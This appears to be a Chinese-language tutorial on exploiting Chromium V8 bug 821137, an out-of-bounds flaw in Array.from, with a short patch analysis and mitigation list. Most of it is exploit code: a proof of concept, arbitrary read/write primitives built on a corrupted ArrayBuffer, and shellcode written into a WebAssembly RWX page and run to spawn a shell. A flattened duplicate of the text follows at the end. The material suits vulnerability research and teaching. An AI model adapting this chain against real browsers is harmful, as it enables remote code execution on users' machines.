v8利用入门:从越界访问到RCE
字数 1190 2025-08-18 11:39:30

V8引擎漏洞分析与利用:从越界访问到RCE

1. 漏洞概述

Chromium漏洞编号821137是一个V8引擎的越界访问漏洞,通过精心构造的JavaScript代码可以实现从越界访问到远程代码执行(RCE)的完整利用链。该漏洞存在于Array.from方法的实现中,允许攻击者通过自定义迭代器控制数组长度,进而实现越界访问。

2. 环境搭建

2.1 基础环境准备

  • 操作系统:Ubuntu 18.04(其他发行版可能遇到兼容性问题)
  • 代理配置:需要使用socks5全局代理
  • .boto配置文件:放置在根目录下,供gclient sync命令使用代理

2.2 代码拉取与编译

# 拉取V8代码
git reset --hard 1dab065bb4025bdd663ba12e2e976c34c3fa6599
gclient sync

# 编译debug版本
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8

# 编译release版本
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release d8

2.3 调试环境配置

  1. 将V8安装目录下的/tools/gdbinit添加到~/.gdbinit
  2. 修改.gdbinit配置:
    sudo gedit ~/.gdbinit
    
  3. 添加配置(可配合pwndbg等gdb插件使用):
    source path/to/gdbinit
    

调试命令示例:

set args --allow-natives-syntax xxx.js

调试辅助函数:

%DebugPrint(obj)  // 输出对象地址
%SystemBreak()    // 触发调试中断

3. 漏洞分析

3.1 漏洞POC

let oobArray = [];
let maxSize = 1028 * 8;

Array.from.call(function() { return oobArray }, {
  [Symbol.iterator]: function() {
    let counter = 0;
    return {
      next() {
        let result = counter++;
        if (counter > maxSize) {
          oobArray.length = 0;
          return {done: true};
        } else {
          return {value: result, done: false};
        }
      }
    };
  }
});

oobArray[oobArray.length - 1] = 0x41414141;

3.2 漏洞原理

漏洞位于src/builtins/builtins-array-gen.cc中的Array.from实现:

  1. Array.from接受一个自定义迭代器,记录迭代次数到index变量
  2. 迭代完成后,将index赋值给length并设置数组长度
  3. 关键问题:在迭代过程中可以修改原始数组长度(如POC中将oobArray.length设为0)
  4. 修复前的检查使用SmiLessThan,只检查新长度是否小于原长度
  5. 当新长度大于原长度时,直接使用新长度而不进行内存调整,导致越界访问

3.3 补丁分析

补丁将SmiLessThan改为SmiNotEqual,确保长度不匹配时都进入runtime处理:

- GotoIf(SmiLessThan(length_smi, old_length), &runtime);
+ GotoIf(SmiNotEqual(length_smi, old_length), &runtime);

4. 漏洞利用

4.1 利用思路

  1. 通过越界访问获得可控的JSArrayBuffer对象
  2. 利用JSArrayBuffer的backing_store实现任意地址读写
  3. 通过WebAssembly获得RWX内存区域
  4. 将shellcode写入RWX内存并执行

4.2 关键步骤

4.2.1 创建越界数组和对象

var bufArray = [];
var objArray = [];
var oobArray = [1.1];
var maxSize = 8224;

function objGen(tag) {
  this.leak = 0x1234;
  this.tag = tag;
}

Array.from.call(function() { return oobArray }, {
  [Symbol.iterator]: function() {
    let counter = 0;
    return {
      next() {
        let result = 1.1;
        counter++;
        if (counter > maxSize) {
          oobArray.length = 1;
          bufArray.push(new ArrayBuffer(0xbeef));
          objArray.push(new objGen(0xdead));
          return {done: true};
        } else {
          return {value: result, done: false};
        }
      }
    };
  }
});

// 触发GC
for(let x=0; x<=maxSize; x++) {
  let y = oobArray[x];
};

4.2.2 搜索可控对象

var offsetBuf;
var offsetObjLeak;

for(let i = 0; i < maxSize; i++) {
  let val = dt.f2i(oobArray[i]);
  if(0xbeef00000000 === val) {
    offsetBuf = i-3;
    console.log("buf offset: " + offsetBuf);
  }
  if(0xdead00000000 === val) {
    offsetObjLeak = i-1;
    console.log("objGen.leak offset: " + offsetObjLeak);
    break;
  }
}

4.2.3 实现任意地址读写

var dtView = new DataView(bufArray[0]);

// 任意地址写
function write64(addr, value) {
  oobArray[offsetBuf+4] = dt.i2f(addr);
  dtView.setFloat64(0, dt.i2f(value), true);
}

// 任意地址读
function read64(addr, str=false) {
  oobArray[offsetBuf+4] = dt.i2f(addr);
  let tmp = [];
  let tmp2 = ["", ""];
  let result = '';
  tmp[1] = hex(dtView.getUint32(0)).slice(10,);
  tmp[0] = hex(dtView.getUint32(4)).slice(10,);
  for(let i=3; i>=0; i--) {
    tmp2[0] += tmp[0].slice(i*2, i*2+2);
    tmp2[1] += tmp[1].slice(i*2, i*2+2);
  }
  result = tmp2[0]+tmp2[1];
  if(str==true) {
    return '0x'+result;
  } else {
    return parseInt(result, 16);
  }
}

4.2.4 使用WebAssembly执行shellcode

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,10,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var funcAsm = wasmInstance.exports.main;

var addressFasm = addressOf(funcAsm);
var sharedInfo = read64(addressFasm+0x18-0x1);
var codeAddr = read64(sharedInfo+0x8-0x1);
var memoryRWX = (read64(codeAddr+0x70-0x1)/0x10000);
memoryRWX = Math.floor(memoryRWX);

// 写入shellcode
var shellcode = ['2fbb485299583b6a', '5368732f6e69622f', '050f5e5457525f54'];
var offsetMem = 0;
for(x of shellcode) {
  write64(memoryRWX+offsetMem, x);
  offsetMem += 8;
}

// 执行shellcode
funcAsm();

5. V8关键数据结构

5.1 SMI (Small Integer)

  • 32位系统:31位有符号数
  • 64位系统:32位有符号数
  • 最低位为0表示number,为1表示指针

5.2 JSArrayBuffer内存布局

+-------------------+-------------------+-------------------+
| Map pointer       | Properties        | Elements          |
+-------------------+-------------------+-------------------+
| Embedder fields   | Backing store ptr | Byte length       |
+-------------------+-------------------+-------------------+

5.3 WebAssembly内存结构

JSFunction -> shared_info -> code -> code+0x70 (RWX内存)

6. 防御与缓解

  1. 及时更新Chromium/V8到已修复版本
  2. 启用Site Isolation功能
  3. 使用最新的沙箱技术
  4. 监控异常的内存访问模式

7. 参考资源

  1. 漏洞详情
  2. V8环境搭建指南
  3. V8快速属性
  4. V8内存模型
  5. V8垃圾回收机制
V8引擎漏洞分析与利用:从越界访问到RCE 1. 漏洞概述 Chromium漏洞编号821137是一个V8引擎的越界访问漏洞,通过精心构造的JavaScript代码可以实现从越界访问到远程代码执行(RCE)的完整利用链。该漏洞存在于Array.from方法的实现中,允许攻击者通过自定义迭代器控制数组长度,进而实现越界访问。 2. 环境搭建 2.1 基础环境准备 操作系统:Ubuntu 18.04(其他发行版可能遇到兼容性问题) 代理配置:需要使用socks5全局代理 .boto 配置文件:放置在根目录下,供gclient sync命令使用代理 2.2 代码拉取与编译 2.3 调试环境配置 将V8安装目录下的 /tools/gdbinit 添加到 ~/.gdbinit 修改 .gdbinit 配置: 添加配置(可配合pwndbg等gdb插件使用): 调试命令示例: 调试辅助函数: 3. 漏洞分析 3.1 漏洞POC 3.2 漏洞原理 漏洞位于 src/builtins/builtins-array-gen.cc 中的 Array.from 实现: Array.from 接受一个自定义迭代器,记录迭代次数到 index 变量 迭代完成后,将 index 赋值给 length 并设置数组长度 关键问题:在迭代过程中可以修改原始数组长度(如POC中将 oobArray.length 设为0) 修复前的检查使用 SmiLessThan ,只检查新长度是否小于原长度 当新长度大于原长度时,直接使用新长度而不进行内存调整,导致越界访问 3.3 补丁分析 补丁将 SmiLessThan 改为 SmiNotEqual ,确保长度不匹配时都进入runtime处理: 4. 漏洞利用 4.1 利用思路 通过越界访问获得可控的JSArrayBuffer对象 利用JSArrayBuffer的backing_ store实现任意地址读写 通过WebAssembly获得RWX内存区域 将shellcode写入RWX内存并执行 4.2 关键步骤 4.2.1 创建越界数组和对象 4.2.2 搜索可控对象 4.2.3 实现任意地址读写 4.2.4 使用WebAssembly执行shellcode 5. V8关键数据结构 5.1 SMI (Small Integer) 32位系统:31位有符号数 64位系统:32位有符号数 最低位为0表示number,为1表示指针 5.2 JSArrayBuffer内存布局 5.3 WebAssembly内存结构 6. 防御与缓解 及时更新Chromium/V8到已修复版本 启用Site Isolation功能 使用最新的沙箱技术 监控异常的内存访问模式 7. 参考资源 漏洞详情 V8环境搭建指南 V8快速属性 V8内存模型 V8垃圾回收机制